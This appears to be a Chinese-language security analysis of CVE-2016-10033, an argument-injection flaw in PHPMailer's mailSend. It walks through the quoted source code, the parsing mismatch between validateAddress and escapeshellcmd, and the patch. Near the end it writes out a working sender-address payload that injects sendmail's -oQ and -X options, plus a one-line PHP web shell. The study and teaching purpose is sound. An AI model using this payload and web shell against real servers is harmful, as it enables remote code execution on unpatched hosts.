漏洞卡片#
PHPMailer 是 PHP 中用于发邮件的一个库,至今仍为主流,按照官方自己的话说:
Probably the world's most popular code for sending email from PHP!
漏洞影响版本:< 5.2.18
发现者:Dawid Golunski
简述:PHPMailer 5.2.18 之前版本中,mailSend 函数允许远程攻击者向 sendmail 程序传递额外参数,通过精心构造的 Payload 可使得攻击者向操作系统写入恶意 PHP 文件,可能导致远程代码执行。
CWE-88:Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')(命令中参数分隔符未正确中和(“参数注入”))
Base Score:9.8 CRITICAL
Vector:CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
漏洞讲解#
PHPMailer 中的 mailSend 方法(位于 class.phpmailer.php):
protected function mailSend($header, $body)
{
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
}
$to = implode(', ', $toArr);
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
}
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
$this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
} else {
$result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
$this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
}
if (isset($old_from)) {
ini_set('sendmail_from', $old_from);
}
if (!$result) {
throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
}
return true;
}通过 mailPassthru() 方法(位于 class.phpmailer.php)来发送邮件:
private function mailPassthru($to, $subject, $body, $header, $params)
{
//Check overloading of mail function to avoid double-encoding
if (ini_get('mbstring.func_overload') & 1) {
$subject = $this->secureHeader($subject);
} else {
$subject = $this->encodeHeader($this->secureHeader($subject));
}
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
return $result;
}该方法本质调用了 PHP 提供的 mail 函数:
function mail(
string $to,
string $subject,
string $message,
array|string $additional_headers = [],
string $additional_params = ""
): boolmail 函数的源码实现(截取了部分):
PHPAPI bool php_mail(const char *to, const char *subject, const char *message, const char *headers, const zend_string *extra_cmd)
{
const char *sendmail_path = zend_ini_string_literal("sendmail_path");
if (extra_cmd != NULL) {
spprintf(&sendmail_cmd, 0, "%s %s", sendmail_path, ZSTR_VAL(extra_cmd));
} else {
sendmail_cmd = (char*)sendmail_path;
}
#ifdef PHP_WIN32
sendmail = popen_ex(sendmail_cmd, "wb", NULL, NULL);
#else
errno = 0;
sendmail = popen(sendmail_cmd, "w");
}根据源码,(Linux/Unix 平台下)mail 会调用系统命令 sendmail。
当前已知:
mail的部分参数的值用户可控,并且这些参数最终会拼接到sendmail命令中- 涉及系统命令执行
如果对用户可控参数没有进行严格的过滤,则可能造成操作系统命令注入。
最终,Dawid Golunski 通过 mail 的第五个参数 $params 实现了命令注入:
$result = @mail($to, $subject, $body, $header, $params);$params的值来源于 Sender 属性(会在前面拼接上 -f,这是 sendmail 的一个参数,用于指定发件人的邮箱名):
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}该属性通常(按正常实现)由 setFrom 方法进行赋值:
public function setFrom($address, $name = '', $auto = true)
{
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {
$error_message = $this->lang('invalid_address') . " (setFrom) $address";
$this->setError($error_message);
$this->edebug($error_message);
if ($this->exceptions) {
throw new phpmailerException($error_message);
}
return false;
}
$this->From = $address;
$this->FromName = $name;
if ($auto) {
if (empty($this->Sender)) {
$this->Sender = $address;
}
}
return true;
}$this->Sender 会由经过重重校验的 $address 进行赋值。在校验中,最关键的是 validateAddress 方法:
public static function validateAddress($address, $patternselect = null)
{
if (is_null($patternselect)) {
$patternselect = self::$validator;
}
if (is_callable($patternselect)) {
return call_user_func($patternselect, $address);
}
//Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
return false;
}
if (!$patternselect or $patternselect == 'auto') {
//Check this constant first so it works when extension_loaded() is disabled by safe mode
//Constant was added in PHP 5.2.4
if (defined('PCRE_VERSION')) {
//This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
$patternselect = 'pcre8';
} else {
$patternselect = 'pcre';
}
} elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
//Fall back to older PCRE
$patternselect = 'pcre';
} else {
//Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
$patternselect = 'php';
} else {
$patternselect = 'noregex';
}
}
}
switch ($patternselect) {
case 'pcre8':
/**
* Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
* @link http://squiloople.com/2009/12/20/email-address-validation/
* @copyright 2009-2010 Michael Rushton
* Feel free to use and redistribute this code. But please keep this copyright notice.
*/
return (boolean)preg_match(
'/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
'((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
'(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
'([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
'(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
'(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
'|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
'|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
'|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
$address
);
[snip]
}
}其中的一大串正则表达式描述的是 RFC 5322 所规定的邮件地址的格式。
在该规范中,允许这样的邮件地址格式(双引号之中允许有空格):
"Attack Foo Test"@qq.com根据官方文档,mail 本身还会对第五个参数进行校验,即利用 escapeshellcmd() 函数对指定特殊字符进行转义操作,涉及到的字符:
&#;`|*?~<>^()[]{}$\
\x0A
\xFF其中,' 和 " 仅在不配对儿的时候会被转义。
这几乎杜绝了“插入新的命令”(;、&、反引号……),但是并没有限制我们继续插入参数(空格、- 等不会被转义)。
若采用:
"Attack -Param2 -Param3"@qq.com去注入新参数,最终的命令:
……-f"Attack -Param2 -Param3"@qq.com说极端点,这其实就等价于:
……-f"abcd"@qq.com并没有注入额外的参数。
但 Dawid Golunski 发现了邮件地址净化器(validateAddress)与 mail 参数净化器(escapeshellcmd())对转义符的解析差异,构造了:
"Attack \" -Param2 -Param3 "@qq.com这在邮件净化器看来,中间的 " 被转义,即作为常规内容字符存在。但是,mail 参数净化器按照规则需要对转义符进行转义,即变为:
"Attack \\" -Param2 -Param3 "@qq.com这导致原先被转义的 " 恢复了其语义,现在邮件地址等价于:
"Attack " -Param2 -Param3 \"@qq.com最后那个多余的 ",根据规则需要对其转义。
这就成功注入了额外的参数:
-f"Attack " -Param2 -Param3 \"@qq.com接下来就是找 sendmail 中具备危害性的参数。
查询 sendmail 命令手册之后,发现 -X 参数支持将进出邮件通信日志记录写到指定文件之中,这使得我们可以在邮件正文中写入恶意 PHP 代码,使得邮件发送后该代码进入日志文件,最终通过访问日志文件实现代码执行(前提是:能访问 + 该文件所处目录有执行环境)。
但单纯注入 -X 参数是不行的,虽然:
- 日志文件确实会被创建
- 日志内容确实会写入
但是日志文件中只能看到类似下述内容:
26122 >>> can not chdir(/var/spool/mqueue-client/): Permission deniedsendmail 程序会指定一个队列目录(在上例中就是 /var/spool/mqueue-client/),待发送的邮件以及未成功发送的邮件都在这个队列目录中排队等待发送,但是 www-data(Apache 通常使用该用户作为网站的执行用户,但权限非常低)通常不具备对该目录的写权限,这意味着邮件无法正常发送(邮件需要先进入队列目录才能被发送)。为了能让“发送邮件”功能正常运行,操作系统会给 sendmail 设置 SGID 位,使得 www-data 用户能以组权限运行该命令。
但是根据 sendmail 源码:
case 'X': /* traffic log file */
dp = drop_privileges(true);
setstat(dp);
if (stat(optarg, &traf_st) == 0 &&
S_ISFIFO(traf_st.st_mode))
TrafficLogFile = sm_io_open(SmFtStdio,
SM_TIME_DEFAULT,
optarg,
SM_IO_WRONLY, NULL);
else
TrafficLogFile = sm_io_open(SmFtStdio,
SM_TIME_DEFAULT,
optarg,
SM_IO_APPEND, NULL);
if (TrafficLogFile == NULL)
{
syserr("cannot open %s", optarg);
ExitStat = EX_CANTCREAT;
break;
}
(void) sm_io_setvbuf(TrafficLogFile, SM_TIME_DEFAULT,
NULL, SM_IO_LBF, 0);
break;如果带上 -X 参数,则会主动剥离权限,即无法在将邮件放入队列目录中,邮件发送失败。因此,日志中进留下了 Permission denied。
这点其实在 sendmail 对 -X 的参数介绍中有一定的暗示:
This should only be used as a last resort for debugging mailer bugs.(这只能作为调试邮件程序错误的最后手段。)
继续查看文档能发现用于切换队列目录的参数 -oQ,只要我们将队列目录切换到一个任意用户能写的目录(比如 /tmp/),就可以绕过“剥离权限”的限制,因此最终的 Payload:
"Foo \" -oQ/tmp/ -X/var/www/html/shell.php "@qq.com接下来只需要在邮件正文中写入恶意 PHP 代码:
<?php system($_REQUEST['cmd']);?>即可向日志文件注入代码。
Diff#
关键:
- if (!empty($this->Sender)) {
- $params = sprintf('-f%s', $this->Sender);
+ if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
+ $params = sprintf('-f%s', escapeshellarg($this->Sender));对传入的 Sender 属性做了 validateAddress 校验。如果按照正常调用逻辑,即 setFrom 后再 mailSend,$this->Sender 其实已经经过一轮 validateAddress 了,因此这里是为了防止开发者的不正当实现,在最终发邮件前再进行一次 validateAddress 能防止该属性没有经过 validateAddress 校验。
真正用于防御 CVE-2016-10033 的补丁是 escapeshellarg($this->Sender)。
注意,该补丁并没有真正防住漏洞,新版本发布不久后,Dawid Golunski 就发现了该补丁的问题,并申请了 CVE-2016-10045。
Unix/Linux 操作系统中,escapeshellarg 函数会其参数中的字符串套上单引号,并且能转义参数中原来已经有的单引号。
但是这里转义有点特殊:
echo escapeshellarg("it's");
// 输出:'it'\''s'原因是 Unix/Linux 操作系统中,单引号中出现转义符是不具备转义含义的,因此该函数采用了“在单引号外完成转义”的操作:
'it' \' 's'我添加“空格”是为了方便看清“在单引号外进行转义”这个操作,并不意味着输出结果中也有“空格”。
在 Windows 上,escapeshellarg() 用空格替换了百分号、感叹号(延迟变量替换)和双引号,并在字符串两边加上双引号。此外,在连续的转义符中(比如 \\、\\\),如果转义符 \ 出现的次数为奇数个,则会再额外添加一个转义符。
补丁之前有效的 Payload:
"Foo \" -oQ/tmp/ -X/var/www/html/shell.php "@qq.com(依旧假设目标是 Unix/Linux 系统)经由 escapeshellarg 函数处理之后:
'"Foo \" -oQ/tmp/ -X/var/www/html/shell.php "@qq.com'传入参数后还有一轮 escapeshellcmd():
'"Foo \\" -oQ/tmp/ -X/var/www/html/shell.php \"@qq.com'等价表述:
'"Foo " -oQ/tmp/ -X/var/www/html/shell.php \"@qq.com'由于单引号的存在,这依旧会被当成整体,即:
-f'"Foo \\" -oQ/tmp/ -X/var/www/html/shell.php \"@qq.com'无法实现额外的参数注入。
但这并非无懈可击,具体见 CVE-2016-10045。
推测安全研究员的发现经过#
- 发邮件 → 可能涉及到系统命令
- 验证代码后发现确实存在
- 参数用户部分可控
- 尝试命令注入
- 发现存在解析差异
- 命令注入成功
CheckLists#
PHP 库。
练习#
PentesterLab 有对应的靶场。